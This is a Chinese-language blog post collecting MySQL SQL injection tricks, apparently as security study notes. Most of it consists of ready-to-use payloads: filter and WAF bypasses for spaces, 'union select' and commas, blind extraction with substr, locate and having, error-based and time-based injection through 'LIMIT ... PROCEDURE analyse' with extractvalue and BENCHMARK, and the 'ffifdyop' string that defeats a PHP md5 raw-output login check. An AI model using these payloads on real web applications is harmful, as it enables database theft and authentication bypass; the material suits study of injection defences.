Fork me on GitHub

MySQL 一些注入技巧

总结一下mysql中用的到的技巧


常量:true,false,null,\N,current_timestamp变量:@myvar:=1

系统变量:@@version,@@datadir…..

常用函数:version(),pi()(圆周率),pow(x,y)(返回X的Y次方,char(),substring()

字符串生成:hex(),conv()(数字进制转换)

有关于字符串生成的:true=1,floor(pi())=3,ceil(pi())=4,floor(version())=5,ceil(version())=6….


过滤的绕过

空格:%20, %09, %0a, %0b, %0c, %0d, %a0,还有一些可以利用括号或者注释

and,or:||,&&

union select
利用括号,’and(true)like(false)union(select(pass)from(users)),
方括号union [all|distinct] select pass from users#, union%a0select pass from users,
或者内联注释union/&sort=/select pass from users#

union:子查询进行盲注and length((select pass from users having substr(pass,1,1)=’a’))

having:and(select substr(group_concat(pass),1,1)from users)=’a

select … from(过滤代码如/SELECT\s+[A-Za-z.]+\s+FROM/i/i)
select [all|distinct] pass from users selecttable_namefrominformation_schema . tables
select pass as alias from users select pass aliasalias from users
select passalias aliasfrom users select+pass%a0from(users)

select,and,&: 这里就是可以利用上一篇文章中提到的false注入的方式进行绕过,具体见上文

不使用逗号:’ and substr(data from 1 for 1) = ‘a’#

不同情境的注入技巧

like

有时候可以利用一些逻辑语句进行注入
if((select(left((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),3))like(0x2562)),name,price)

Limit

limit后面可以跟两个函数,PROCEDURE 和 INTO(需要写权限)
利用PROCEDURE 有两种方式,基于报错和时间,参考文章MySQL下Limit注入方法
5.6以上好像不行了QAQ。。。。。
基于报错
mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

基于时间
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

order by

order by 后面的数字也可以作为一个注入点,参考文章MySQL Order By 注入总结
这里就不多写了

一些函数

不常用函数绕过滤

lpad(data,1,space(1)) // lpad('hi',4,'?') = '??hi'
rpad(data,1,space(1)) // rpad('hi',4,'?') = 'hi??'

搜索匹配类的函数

'-if(locate('f',data),1,0)#'
'-if(locate('fo',data)1,0)#'
'-if(locate('foo',data),1,0)#'
instr()
position()

使用函数进行字符串切割

length(trim(leading 'a' from data))
length(replace(data,'a',''))

关于PHP中md5的一个姿势

例如,PHP中有这么一段SQL语句
$sql = "select * from admin where pass = '".md5($password,true)."'";
这里是可以注入的,关于PHP中md5函数
如果可选的raw_output被设置为TRUE,那么md5报文摘要将以16字节长度的原始二进制返回
就是说找到一个字符串md5的二进制和字符编码中的某些编码对上,就会产生注入,这里贴出一个原文作者找到的字符串,ffifdyop,md5加密后对应的字符串是 'or'<trash>
原文

Donate comment here